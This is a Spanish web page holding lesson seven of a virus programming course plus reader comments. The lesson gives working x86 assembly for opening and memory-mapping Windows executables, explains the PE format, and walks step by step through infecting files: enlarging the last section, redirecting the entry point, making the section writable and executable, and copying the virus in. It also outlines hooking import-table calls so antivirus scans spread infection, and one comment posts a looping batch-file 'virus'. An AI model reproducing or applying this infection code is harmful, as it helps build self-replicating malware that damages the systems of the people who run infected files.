Esta es la ayuda que nos presenta el Win32.HLP. De aquí podemos ver que lpFileName es un puntero al nombre del fichero (que sacaremos de la estructura WIN32_FIND_DATA de antes, cuando buscamos ficheros), en DesiredAccess tendremos opciones de lectura y escritura (GENERIC_READ y GENERIC_WRITE), dwShareMode trata sobre la compartición del fichero abierto, lpSecurityAttributes (que no necesariamente es soportado, atributos de seguridad del fichero), dwCreationDistribution que trata sobre la forma de acceder (¿si no existe lo creamos? ¿si existe sobreescribimos? ¿sólo lo abrimos? etc), y otros dos sobre opciones de acceso que tampoco trataremos en detalle; tampoco hace falta darle demasiadas vueltas, con una fórmula sencilla estará solucionado y no hay que tenerlo todo en cuenta:
push 0 push 0 push 3 push 0 push 1 push 0C0000000h ; Read/Write access lea eax, [Find_Win32_Data+WFD_szFileName+ebp] push eax call dword ptr [API_Create+ebp] ; Delta offset en ebp
Ah por cierto fijáos que la forma de empujar los parámetros es en el órden inverso al descrito en las funciones de win32.hlp, que luego nos rallamos por la tontería cuando el fallo era ese xD. Bueno, a lo que iba; dwFlagsAndAttributes y hTemplateFile no nos importan :) y empujamos un cero a la pila. El 3 que empujamos con dwCreationDistribution indica OPEN_EXISTING, es decir, abrir y punto sólo si existe el fichero. El siguiente cero que empujamos es porque no necesariamente tiene estructura de atributos de seguridad (esto se aplica en NT por ejemplo, pero no en un 95/98 donde no existen estos sistemas de seguridad). El 0C0000000h se refiere al acceso deseado (lectura/escritura) y finalmente el W32_Data+WFD_szFileName indica el offset respecto a la estructura Win32_Find_Data donde se encuentra el nombre obtenido mediante FindFirst/FindNext.
El caso es que esta llamada a función nos devolverá un "handler" en EAX. Este handler es un valor que más nos vale conservar, pues se va a utilizar como referencia para manejar el fichero en posteriores ocasiones; la cosa es sencilla, en los datos internos del proceso que se está ejecutando (en este caso un fichero infectado con nuestro virus) hay una serie de "handlers" o descriptores que se relacionan con ficheros abiertos (aparte de, de forma standard, con el input, output, etc, pero esto ya es otra historia). Esta, es la forma en que se manejan los ficheros; el descriptor o handler que tenemos en EAX es la referencia para poder seguir operando con el fichero abierto.
Lo mejor entonces es guardar eax en algún registro donde lo tengamos controlado y no lo perdamos en toda la infección, pues lo tendremos que utilizar luego para cerrar el fichero abierto y guardar los cambios.
mov ebx,eax inc eax jnz No_Hay_Problema
Esto sería la comprobación justo posterior a la apertura de fichero; salvamos EAX en EBX, y comprobamos con el Inc EAX si es igual a 0FFFFFFFFh (o -1, que incrementandolo dara cero). Si lo es, dejamos de infectar porque hubo algún problema al abrir el fichero (nunca está de más la comprobación de errores).
La siguiente función que vamos a tener que usar para nuestro cometido es la de CreateFileMapping, cuya estructura es como sigue:
HANDLE CreateFileMapping(
HANDLE hFile, handle of file to map LPSECURITY_ATTRIBUTES lpFileMappingAttributes, optional security attributes DWORD flProtect, protection for mapping object DWORD dwMaximumSizeHigh, high-order 32 bits of object size DWORD dwMaximumSizeLow, low-order 32 bits of object size LPCTSTR lpName name of file-mapping object
);
Ya vemos que uno de los parámetros, HANDLE hFile, es el handler que nos pasaron antes en EAX; como dije vamos a necesitarlo bastante para seguir tratando con el fichero. Tenemos de nuevo atributos de seguridad y protección, el nombre del objeto mapeado (se puede poner como 0), y otro campo importante que es el del tamaño de fichero; ¿por qué importante? Pues bien, porque esto va a determinar el tamaño del fichero cuando lo cerremos. Si determinamos un tamaño del objeto de 20k y era un fichero de 11k, se van a mapear 20k en memoria (los últimos 9 sin información coherente), y se va a salvar cuando cerremos. Como os podéis imaginar no hay nada como poner como tamaño del objeto justo el del fichero mas el de nuestro virus ;-)
mov edi,dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp] add edi,virus_size ; Host plus our size push 0 push edi push 0 push PAGE_READWRITE ; R/W push 0 ; Opt_sec_attr push ebx ; Handle call dword ptr [API_CMap+ebp]
En el pequeño listado puede verse lo que hacemos; EDI tiene el tamaño del fichero, al que se le añade el del virus (el tamaño del virus está calculado con EQUs y tal); ponemos ceros para lpName, SizeHigh y OptSecAttr, y para la protección del fichero mapeado permiso de lectura/escritura (PAGE_READWRITE).
Finalmente empujamos el handler y llamamos a la función; en esta ocasión si la función falla Windows no nos va a devolver EAX=-1 sino EAX=0 lo que se puede comprobar con un or eax, eax. Supongo que para hacernos la vida más variada xD. La cuestión es que, si no falla (que no debería, ¿no?) nos devolverá en EAX un nuevo handler del que también habrá que estar pendientes.
Y en fin, nos acercamos al momento decisivo ;-). Sólo nos falta utilizar la tercera función, ya que hemos abierto el fichero, lo hemos de nuevo abierto mediante mapeado en memoria, y ahora haremos el mapeado efectivo... para ello, la función MapViewOfFile; y pasamos diréctamente a dar su especificación:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, file-mapping object to map into address space DWORD dwDesiredAccess, access mode DWORD dwFileOffsetHigh, high-order 32 bits of file offset DWORD dwFileOffsetLow, low-order 32 bits of file offset DWORD dwNumberOfBytesToMap number of bytes to map
);
Bueno esta ya tiene menos parámetros, ¿no? xD. El Handle que hay que enviarle es el que nos dio CreateFileMapping, el DesiredAccess es FILE_MAP_ALL_ACCESS, dwFileOffsetHigh y Low los pondremos a cero (es una indicación a mano que podemos hacer de que haga el mapeado en memoria en el lugar donde nos dé a nosotros la gana lo cual tampoco es necesario), y eso sí, en NumberOfBytesToMap meteremos el valor de EDI que habíamos puesto antes, es decir, el tamaño del fichero con nuestro virus.
push edi push 0 push 0 push FILE_MAP_ALL_ACCESS push eax ; handle call dword ptr [API_MapView+ebp]
Así que con esto ya está, tenemos ahora en EAX algo muy muy importante, que es la base address a partir de la cual acceder al fichero mapeado; es decir, que si el fichero se cargó en la dirección 0700000h, EAX va a contener justo esa cifra, el principio del fichero... con lo que ya vamos a tenerlo dispuesto para poder abrir e infectar a nuestro gusto.
Por último, advertir que esto que hemos abierto luego hay que cerrarlo. Para ello hay dos funciones, UnmapViewOfFile y CloseHandler. Sólo hay que pasarles un parámetro, que es la base donde se ha cargado el fichero en memoria (el EAX de antes, conservadlo), y en caso de CloseHandler, el handler que nos pasaron al abrir el fichero. El código para hacerlo es obvio porque sólo hay que empujar un valor y llamar a la API, aun así copio la especificación de las funciones:
BOOL UnmapViewOfFile(
LPVOID lpBaseAddress address where mapped view begins
);BOOL CloseHandle(
HANDLE hObject
);
Pues así de sencillo... por cierto, hay un detalle que quizá os está escamando; al empujar valores a la pila utilizo valores como FILE_MAP_ALL_ACCESS, que si GENERIC_READ, que si tal; sin embargo, si ponéis eso así, a pelo, el Tasm os va a dar errores de compilación diciéndoos que qué son esas palabras que habéis metido ahí y que no significan nada. Lo que necesitáis son ficheros de definición. Por ejemplo, el 0C0000000h en CreateFile lo metí a pelo; en realidad nosotros evidentemente no estamos empujando a la pila ninguna palabra que diga GENERIC_READ o lo que sea, sino que empujamos un número. Por suerte, se puede conseguir la conversión de esas palabras a números en muchos includes de ayuda por ahí desperdigados, puesto que cosas como escribir "GENERIC_READ" lo que pretenden es hacernos la vida más fáciles a los programadores en lugar de tener que recordar qué bits indican qué cosa en cada uno de los tipos de parámetros a API que puedas invocar.
En fin, así, qué remedio, tendréis que buscar algún include decente; al fin y al cabo esto es necesario pues en las referencias a funciones que encontréis en ayudas como el Win32.hlp no vais a ver el valor hexadecimal o de máscara de bits de lo que tenéis que empujar a la pila para hacer determinadas cosas con funciones, sino tan sólo estos nombres que han de ser traducidos. Tarde o temprano, pues, tendréis que usar algún "fichero include" de referencia para programar (hay por ejemplo una de Jacky Qwerty llamada Win32api.inc que salió en 29A#2 por ejemplo, y probablemente tendréis definiciones en compiladores como Visual Basic, etc etc etc)
Formato PE (Portable Ejecutable)
Ya no puedo dejarlo para más adelante, hay que echarle un vistazo bien a fondo al formato de los ejecutables de Windows, conocido como PE (Portable Ejecutable), ya que se trata de algo necesario si queremos infectarlos, ¿verdad?. Conseguimos averiguar la dirección de GetProcAddress en la export table aun sin explicar mucho como esta organizado un PE, pero esto ya se hace necesario a la hora de una infección seria. Sólo comentar, que para una información más amplia y detallada del formato PE nada como buscar el capítulo de Matt Pietrek de su libro "Windows 95 Programming Secrets", llamado "The Portable Executable and COFF OBJ Formats". Sé que hay alguna copia en la red así que es de esas cosas que es interesante que busquéis. En cualquier caso, intentaré documentar al menos lo necesario para poder infectar un fichero de Windows.
Lo primero, es decir que el fichero ejecutable en disco es bastante parecido al aspecto que tendrá en memoria; un fichero PE está dividido en piezas por así decirlo, con cierta información sobre cómo colocar esas piezas en memoria en su estructura en disco. En la cabecera PE se indicará la dirección en la que preferiría ser ubicado en memoria, así como, para cada sección, la dirección relativa (RVA) en la que deberían colocarse sus secciones respecto a esta dirección base. Las referencias a datos y demás, dependientes de la ubicación en memorias, serán recalculadas dinámicamente al cargar el fichero en memoria.
Así pues, el esquema básico de un PE es el siguiente:
Cabecera 'MZ' (Ms-Dos)
File Header (PE)
Optional Header
Tabla de secciones
Secciones
.edata, .idata, .data, .text, .reloc, etc
Código de debuggeo (opcional)
Vayamos por partes:
- Cabecera 'MZ'
Esta va a servir fundamentalmente para dos cosas; por un lado nos va a mostrar un mensaje de "no, esto no es Windows" cuando se intente ejecutar el fichero desde alguna versión antigua de Ms-Dos. Por otro, tendrá un interesante puntero en el desplazamiento 03ch hacia la cabecera PE. Por supuesto, además tiene la gran ventaja de que aunque para un programa en memoria no sirva para nada se carga en ella para ocupar más espacio, otro gran ejemplo de optimización en su casa gracias a Microsoft(tm).
- File Header
Esta ya es la cabecera PE en sí. Sus 4 primeros bytes van a ser las letras PE y dos bytes a cero. El resto de los campos son los siguientes:
Desplazamiento Tamaño y nombre Contenido
00h DWORD Cabecera Su contenido es PE/0/0
04h WORD Machine Tipo de máquina para la que se compiló; Intel I386 corresponde a 014Ch
06h WORD NumberOfSections Número de secciones contenidas en el
programa
08h DWORD TimeDateStamp Fecha y hora en la que el fichero fue producido en otro extraño formato xD
0Ch DWORD PointerToSymbolTable Sólo utilizado en ficheros OBJ y los ejecutables con opciones de debugging 10h DWORD NumberOfSymbols Relacionado con el anterior
14h WORD SizeOfOptionalHeader Tamaño de la cabecera opcional (que normalmente si va a estar presente, faltaría en caso de los ficheros OBJ)
16h WORD Characteristics Indica si es una DLL, un EXE o un OBJ
- Optional Header
La cabecera opcional también la vamos a tener muy en cuenta; la forma de acceder a ella es simple, ya que está justo después de la File Header. Exáctamente está en la posición 18h respecto a la cabecera PE; de hecho y a efectos de que vamos a utilizarla tanto como la File Header, consideraré como si el desplazamiento fuera respecto a la File Header en la siguiente tabla (en la que eso sí voy a omitir las partes que no me resultan importantes, puesto que se extiende hasta un desplazamiento 78h desde este 18h sin contar el array variable de Image_Data_Directory que lo alarga de forma variable)
Realmente, de aquí en principio habremos de tener pocas cosas en cuenta, aunque en particular será importante modificar como es evidente el AddressOfEntryPoint. La estructura DataDirectory contiene siempre RVA y tamaño de algunos trozos importantes del fichero como explica la tabla; en particular, resultará cómodo a la hora de buscar exportaciones e importaciones, pues son las dos primeras a las que siempre hace referencia; en 78h tendremos la RVA a .edata, en 7Ch su tamaño, en 80h la RVA a .idata y en 84h el tamaño de esta.
- Tabla de secciones
La tabla de secciones es un array de varias estructuras (un array de la misma longitud que el número de secciones). Así, va a haber una estructura fija para describir a cada sección, que se repetirá tantas veces como secciones haya (y de forma secuencial en el fichero).
Para acceder a esta tabla, lo que haremos será coger el principio de la cabecera PE, sumarle 18h (tamaño de la File Header), buscar el esta File Header el tamaño de la OptionalHeader y sumárselo también. Así, tendremos la dirección en la que comienza la tabla de secciones para poder leer.
De toda esta información haremos caso a los cuatro primeros datos y al último; si nuestra intención al infectar es meternos dentro de una sección (el método más standard, aunque se puede crear otra), tendremos que modificar el VirtualSize, calcular el nuevo SizeOfRawData y modificarlo, cambiar las Characteristics para poder hacerlo Writeable y Executable en caso de que no lo fueran, y acceder a la sección a través de la VirtualAddress. El alignment va a ser el genérico del fichero e indicado en la Optional Header (por defecto, 200h, el tamaño de un sector en disco).
- Secciones
Ya nada es tan sencillo como dividir las cosas en "código, datos y pila". Precedidas por un ".", que Microsoft indica como imprescindible pero que no lo es en la práctica, cada sección de un fichero PE va a cumplir una función determinada, y he aquí el significado de algunas de las secciones más comunes:
.text -> Este es el nombre habitual de la sección de código. Normalmente con flags de ejecución y permiso de lectura, pero no de escritura.
.idata -> Tabla de importaciones; se trata de una estructura que contiene las APIs importadas por el fichero PE así como las librerías de las cuales las importa.
.edata -> Tabla de exportaciones, más propia de ficheros DLL (librerías dinámicas API), con las APIs que el ejecutable exporta.
.bss -> Sección de datos sin inicializar; no ocupa espacio en el disco duro, pues hace referencia a espacio de memoria que ha de reservarse para datos que de por sí no vienen inicializados al comenzar el ejecutable, pero que sí van a ser utilizados por este.
.data -> Datos inicializados, aquellos que tienen valor cuando comienza la ejecución del programa y que por tanto ocupan espacio en disco.
.reloc -> Tabla de realocaciones. Se trata de un ajuste para instrucciones o referencias a variables, dado el hecho de que en ocasiones se ha de cargar el fichero en una dirección distinta de memoria, y las referencias a memoria han de ser reajustadas.
Teoría sobre infección de ficheros PE
Utilizaremos en esta explicación el "método 29A", consistente a grandes rasgos en la ampliación de la última sección del ejecutable y la copia del virus al final de esta sección, de modo que pertenezca a esta.
Lo primero que se suele hacer, tras abrir y mapear el fichero EXE, es comprobar si es adecuado para la infección; obtenido el inicio de la cabecera PE, lo básico que hay que ver es lo siguiente:
-¿La cabecera es efectivamente PE/0/0?
-¿Existe una optional header? Sino, nos despediremos
-¿El fichero es ejecutable?
Todo ello lo podemos resumir en el siguiente código:
mov bx,word ptr ds:[eax+03ch] ; Suponiendo EAX = base address add edx,ebx ; Cabecera PE mov bx,word ptr ds:[edx] ; Cogemos la cadena "PE" en BX cmp bx,'PE' jnz cerramos ; Si no lo es, cerramos or word ptr ds:[0014h+edx],0 ; ¿Existe la optional header? jz cerramos ; Si el valor es cero, adios mov ax,word ptr ds:[016h+edx] ; ¿El fichero es ejecutable? and ax,0002h jz unmap_close
Hecho esto, y dado que queremos meternos en la última sección, el siguiente paso será localizar esta última sección. Ojo, que aunque en la mayoría de los ficheros la última sección físicamente en el fichero es también el último registro en la tabla de secciones, esto no es necesariamente así. Para comprobar cuál es efectivamente la última, cogeremos la tabla de secciones e iteraremos buscando cuál es la que tiene una RVA mayor; así, estaremos muchísimo más seguros. Por tanto, sigamos con código:
mov esi,edx ; EDX en PE/0/0, obtenemos offset de la tabla de secciones add esi,18h mov bx,word ptr ds:[edx+14h] add esi,ebx movzx ecx,word ptr ds:[edx+06h] ; numero de secciones ; La cuestión es seguir recorriendo la tabla, comparando lo siguiente: cmp dword ptr [edi+14h],eax jz Not_Biggest
La sección que tenga ese campo en [sección+14h] más alto, será la que infectemos al ser la última. Entonces, ¿qué debemos hacer ahora para continuar la infección?. En primer lugar aumentaremos la VirtualSize de la sección según el tamaño de nuestro virus para dejarle espacio (pues nuestro objetivo es infectar aumentando el tamaño de la última sección y metiéndonos dentro). El problema, reside en que no sólo hemos de tener en cuenta la VirtualSize, sino también otro dato llamado SizeOfRawData, que ha de ser divisible por el "alignment"
¿Qué es el "alignment"? Pues es un número al que está redondeada la SizeOfRawData y que se puede encontrar en la cabecera del PE (normalmente es 200h, 512 en decimal, para alinear respecto a sector del disco). Así, si tuviéramos un nuevo "VirtualSize" de 5431h con nuestro virus, en SizeOfRawData el valor sería de 5600h. ¿Código? Sí, vayamos con código:
mov eax,virus_size xadd dword ptr ds:[esi+8h],eax ; la VirtualSize push eax ; VirtualSize antigua add eax,virus_size ; Eax vale la nueva VirtualSize mov ecx, dword ptr ds:[edx+03ch] xor edx,edx div ecx ; dividimos para ver el numero de bloques xor edx,edx inc eax mul ecx ; multiplicamos por el tamaño de bloque mov ecx,eax mov dword ptr ds:[esi+10h],ecx ; SizeOfRawData
Hecho esto, el siguiente paso va a ser cambiar el entry point del programa (el punto donde comienza a ejecutarse) de modo que apunte hacia nosotros. La idea, es que el virus se ejecute primero y, sin ser advertido, pase el control al programa principal. Así pues guardaremos el antiguo entry point (que está en el desplazamiento 28h respecto a la file header) y calcularemos el nuevo haciendo que apunte al final de la sección que vamos a infectar; es decir, el punto en el que vamos a copiar el virus completo.
pop ebx ; VirtualSize - virus_size (lo habiamos empujado en "VirtualSize antigua") add ebx,dword ptr ds:[esi+0ch] ; + la RVA de la sección mov eax,dword ptr ds:[edx+028h] ; Guardamos el viejo entry point mov dword ptr ds:[edx+028h],ebx ; Ponemos el nuevo
Lo siguiente que hay que tocar es el campo "characteristics" de la tabla. En él, nos interesa hacer que la sección pueda leerse, escribirse y ejecutarse para que nuestro virus tenga total libertad. Este campo es tipo "máscara de bits", 32 bits cada uno de los cuales tiene un determinado significado. Tres de ellos los vamos a poner a uno para tener estos permisos, con una orden como "or [edx+024h] , 0C0000000h". Los valores que puede tomar la sección Characteristics son los siguientes (que se combinan entre sí en una máscara de bits):
Flag Descripción
0x00000020h La sección contiene código (normalmente unido al flag de ejecución, 0x80000000h) 0x00000040h La sección contiene datos inicializados
0x00000080h Contiene datos sin inicializar
0x00000200h Contiene comentarios u otro tipo de información 0x00000800h Los contenidos de esta sección no deberían situarse en el EXE final (información para
el compilador) 0x02000000h La sección puede ser descartada, el proceso no la necesita al ejecutar 0x10000000h Sección que puede compartirse (para DLLs, por ejemplo) 0x20000000h La sección es ejecutable 0x40000000h Pueden leerse datos de esta sección
0x80000000h Pueden escribirse datos en esta sección.
Después de esta modificación en las Characteristics, ajustaremos también el tamaño de SizeOfImage, referente al fichero en su totalidad y que también ha de estar alineado al mismo estilo que el "alignment" (que como dije, está en [FileHeader+03ch]). Esta vez no necesitaremos dividir; si hemos guardado el SizeOfRawData antiguo y el nuevo (recordad, el que está alineado) de la sección, no hay más que restar ambos y ver cuanto resulta. Esto, se lo sumamos al SizeOfImage con una instrucción como "add [edx+050h], eax" si eax contiene esta diferencia entre SizeOfRawData(nuevo)-SizeOfRawData(antiguo).
¿Qué nos queda por hacer? Pues muy poco por suerte, tan sólo copiar nuestro virus en el hueco que hemos hecho al ampliar el tamaño de la última sección. Teniendo en EDI la base del fichero mapeado (para añadirle las RVAs):
add edi,dword ptr ds:[esi+14h] ;14h = PointerToRawData, inicio de la seccion add edi,dword ptr ds:[esi+8h] ;8h = VirtualSize, añadimos el tamaño de la seccion sub edi,virus_size ;Le restamos el tamaño del virus lea esi,[ebp+virus_start] ;ESI en el principio de nuestro virus mov ecx,virus_size ;ECX = Tamaño del virus rep movsb ;Copiamos todo el virus
Y no hace falta nada más para poder decir que hemos infectado un ejecutable de Windows. Haciendo una breve recapitulación de los pasos a dar podemos ver que, aunque puede sonar a que son muchas cosas, en realidad no se trata de algo tan complejo. Para infectar, pues, debemos:
-Buscar la última sección del fichero
-Aumentar su tamaño en N, tal que N = Tamaño del virus -Recalcular tamaño de la sección alineada y del fichero alineado
-Cambiar el entry point para que apunte al final de la sección
-Poner permisos de lectura/escritura/ejecución en la sección
-Copiar el virus en el hueco creado, su primer byte en el nuevo entry point.
Con esto acabamos entonces la infección de ficheros de formato Portable Ejecutable.
Residencia Per-Process
Residencia per-process
Hasta ahora hemos tenido la limitación consistente en que al infectar lo único que hacíamos era repasar el directorio actual con FindFirst/FindNext copiándonos a los ficheros ejecutables que encontráramos. Esto puede dejar al virus aislado e impedir una verdadera reproducción; una solución sería por ejemplo tras dar este repaso copiarnos a todos los ficheros del directorio Windows (existe una API que nos soluciona bastante trabajo llamada GetWindowsDirectory, que combinada con SetCurrentDirectory nos permitiría lanzarnos al núcleo).
No obstante, bajo Win32 se pueden utilizar técnicas que rompan esta limitación de zonas de infección; hablo de la residencia, aunque en este caso una residencia limitada dado que se reduce al proceso actual.
Quienes trabajaran con virus en Ms-Dos recordarán la forma en que hacíamos que un programa fuera residente en memoria; toqueteando los MCBs (Memory Control Blocks) nos hacíamos con un espacio en memoria e interceptábamos llamadas a funciones normalmente de la Int21h como "AbrirFichero", etc. Entonces, cuando se abría un fichero, el virus lo infectaba caso de ser infectable.
Pues bien, aquí existe una técnica muy parecida, que dado que se reduce al proceso en el que estamos trabajando, se conoce como "residencia per-process". Los ejecutables de Windows se dedican a importar funciones de distintas librerías, entre otras de la más importante, Kernel32.DLL. Dentro del código del ejecutable, se llama a estas funciones. Pero, ¿y si pudiéramos meternos en medio de estas llamadas, capturarlas y actuar en consecuencia?. Pues ahí reside el interés de esta técnica.
El fichero importa una serie de APIs, nosotros buscamos la que nos interesa (por ejemplo, FindFirst/FindNext) y la parcheamos. En la tabla de importaciones del fichero que está ejecutándose vamos a tener información acerca de las APIs importadas y las direcciones a las que se va a llamar cuando se utilicen estas APIs. Por tanto, lo que haremos será cambiar estas direcciones que nos interesan para que apunten a nuestro código. Luego, haremos normalmente la llamada a la API, pero al mismo tiempo procuraremos infectar aquello con lo que el fichero está jugando. ¡No hay más que imaginar el gran aliado que puede ser un antivirus que recorra todo el disco duro si le parcheamos las funciones de FindFirst/FindNext!
No daré código explícito para este tipo de técnica, pues es algo que resulta interesante que cada uno desarrolle utilizando los conocimientos que pueda adquirir sobre Windows; llevar a cabo estas rutinas, donde tendremos que tener en cuenta las importaciones y nuestro propio virus, asegura - creo yo - entender bastante más a fondo la forma que tiene Windows de manejar sus procesos.
Sólo aclararé, eso sí, el formato de la tabla de importaciones (aunque como dije, nada como los textos de Matt Pietrek). Primero, que la RVA a esta tabla puede encontrarse en el PEFileHeader + 080h por defecto (recordad que este tipo de residencia se hace respecto al fichero en el que el virus se está ejecutando, con lo que si el virus está ejecutándose en 040A013h quizá el principio del programa esté en 0400000h).
La tabla de importaciones es un array de estructuras de datos llamadas Image_Import_Descriptor, uno por cada DLL importada, y con un aspecto como el siguiente:
Desp Tamaño Nombre Descripción
00h DWORD Characteristics Puntero a una lista de HintNames
04h DWORD TimeDateStamp Fecha de construcción, normalmente a cero 08h DWORD ForwarderChain Para forwarding de funciones (escasamente documentado)
0Ch DWORD Nombre RVA a una cadena ASCII con el nombre de la DLL
10h DWORD FirstThunk Puntero a una lista de ImageThunkData
¿Y qué hago yo con esto? Tranquilidad, aún no está todo explicado... el array de HintNames y el de Image_Thunk_Data son dos tablas que van a hacer referencia a una lista de nombres de función, sólo que por lados diferentes. Pero el array del HintName no está necesariamente presente en los ficheros PE, con lo que el campo que nos va a importar es el que apunta a FirstThunk en ImageThunkData. El tamaño de cada entrada en esta lista es de un DWORD, y cuando estamos hablando de un fichero cargado en memoria (porque se esté ejecutando, ojo), cada entrada en ese array es la dirección de una API de la DLL correspondiente.
¿Qué debemos hacer entonces? Miramos adonde apunta ese desplazamiento 10h, y recorremos el ImageThunkData viendo las RVAs a las que apunta. ¿Cómo identificar desde aquí las APIs utilizadas? Siempre podemos obtenerlas con GetProcAddress y después mirar si coinciden las entradas en ImageThunkData (aunque como verá quien se lance a hacerlo, esto no es exáctamente así...). ¿Cómo parchear las funciones? Bien, la tabla de importaciones suele tener permiso de escritura activado, con lo que no hay más que hacer que apunte a nuestro código...
Un último apunte; esta es una de esas técnicas que, bien hecha, funcionan para cualquier versión de Windows... con lo que si queremos mantener la compatibilidad, es de las mejores opciones que tenemos. Con este objetivo, existen también algunas otras, desde jugar con el registro o infectar el fichero Kernel32.DLL a crear VxDs (por así decirlo DLLs que funcionan a nivel supervisor), en fin, un mundo por descubrir...
Y... vaya, con esto llega a su final la séptima entrega del curso de programación de virus; de aquí a la octava, infección bajo Linux.
< anterior
| 1
... 12
13
14 15
16
17
18
| siguiente >
110 opiniones
q buena
pues tios les digo q lo aprendan por que por ejemplo si hacen un viruz pero lo hacen con lo que es ensamblador pues asi el tio formatee su pc seguira infectado ademas es recomendado si piensan en conocimiento i en aprender mas de esto
salu2
salu2
Duda.
Sacado de: "2 - estructura de computadores"
"dado que los ejemplos nunca sobran, veamos una instrucción como cmp ac, 12. Una vez llegue tras la fase de fetch a la unidad de control, de nuevo se utilizará la alu; en esta ocasión se la indicará mediante señales de control que realice la operación de resta (sub), metiendo por un lado el 12 y por otro el registro ac"
¿por qué hará la operación sub? ¿no sería menos costoso hacer la operacion xor?
¿si el resultado de aplicar dos oprendos a xor da 0 implica que son el mismo número, no?
un saludo!.
"dado que los ejemplos nunca sobran, veamos una instrucción como cmp ac, 12. Una vez llegue tras la fase de fetch a la unidad de control, de nuevo se utilizará la alu; en esta ocasión se la indicará mediante señales de control que realice la operación de resta (sub), metiendo por un lado el 12 y por otro el registro ac"
¿por qué hará la operación sub? ¿no sería menos costoso hacer la operacion xor?
¿si el resultado de aplicar dos oprendos a xor da 0 implica que son el mismo número, no?
un saludo!.
Falta pewrsec.
Probe ensamblar el codigo del primer ejemplo pero no encuentra las referencias a las funciones de las apis no existe mas la web donde estan los recursos http://www.oninet.es/usuarios/darknode
me parece muy bueno el curso. Es imposible encontrar algo de ensamlador de 32 bits en español. Entiendo ingles pero ya me produce nauseas tener que leer en ese idioma todo la informacion sobre programacion. Lo unico que le falta es que el autor le de una actualizacion (revision).
me parece muy bueno el curso. Es imposible encontrar algo de ensamlador de 32 bits en español. Entiendo ingles pero ya me produce nauseas tener que leer en ese idioma todo la informacion sobre programacion. Lo unico que le falta es que el autor le de una actualizacion (revision).
Buenisimo.
En realidad me encanto el curso,a demas entendible. Y eso que apenas yo estoy aprendiendo sobre estos temas, pero vaya esta muy claro. Muchas gracias por su ayuda.
Virus.
Pues aqui hay un virus:
abres block de notas y pones lo siguiente:
@echo off
echo... :adcc
msg * adcc=windows_live_447@hotmail.com
goto adcc
se guarda en. Bat
ej: hola. Bat.
abres block de notas y pones lo siguiente:
@echo off
echo... :adcc
msg * adcc=windows_live_447@hotmail.com
goto adcc
se guarda en. Bat
ej: hola. Bat.
Cursos gratis relacionados con 'Curso de programación de virus'
La meta de este curso es el aprendizaje de métodos en programación, tanto en teoría...
Más »
Completo curso acerca de los virus informáticos, historia, clasificación, protección...
Completo curso de lenguaje ensamblador.
En este glosario, lo primero que se ha de definir es la palabra HACKER ya...
Más »
Curso de introducción al Comercio Electrónico.
Autor y licencia de 'Curso de programación de virus'
Este contenido ha sido recopilado por el equipo de Wikilearning. Todo el contenido recopilado se ha obtenido respetando y comunicando en nuestro site la licencia de cada fuente.
Wikilearning tiene permiso expreso por escrito de los autores para publicar los contenidos que ha extraído de otras webs, incluyendo su uso comercial.
